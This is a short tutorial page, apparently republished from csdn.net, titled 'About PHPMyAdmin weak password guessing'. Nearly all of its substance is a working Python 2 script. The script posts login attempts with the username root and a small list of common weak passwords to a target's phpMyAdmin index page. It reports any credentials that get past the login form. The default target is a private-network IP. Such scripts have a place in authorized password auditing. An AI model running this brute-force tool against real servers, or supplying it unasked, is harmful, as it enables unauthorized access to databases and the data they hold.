Home > Database > phpMyAdmin > body text

About PHPMyAdmin weak password guessing

藏色散人
Release: 2021-05-27 15:55:25
forward
3901 people have browsed it

The following tutorial column of phpmyadmin will introduce to you about guessing weak passwords for PHPMyAdmin. I hope it will be helpful to friends in need!

PHPMyAdmin Weak Password Guessing [Python Script]

PHPMyAdmin Weak Password Guessing

Test Screenshot:

Code Snippet

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import time

username_list=['root']
password_list=['root','','admin','123456','password']

def phpMyAdmin(ip,port=80):
	for username in username_list:
		username =username.rstrip()
		for password in password_list:
			password = password.rstrip()
			try:
				#url = "http://192.168.106.141/phpmyadmin/index.php"
				url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"

				data={'pma_username':username,'pma_password':password}
				response = requests.post(url,data=data,timeout=5)
				result=response.content
				if result.find('name="login_form"')==-1:
					print '===================================================='
					print '[+] find phpMyAdmin weak password:'+username,password
					print '===================================================='
					break
				else:
					print '[-] Checking for '+username,password+" fail"
			except:
				print '[-] Something Error'+username,password+" fail"
				
if __name__ == '__main__':
	phpMyAdmin("192.168.106.141")
Copy after login

The above is the detailed content of About PHPMyAdmin weak password guessing. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template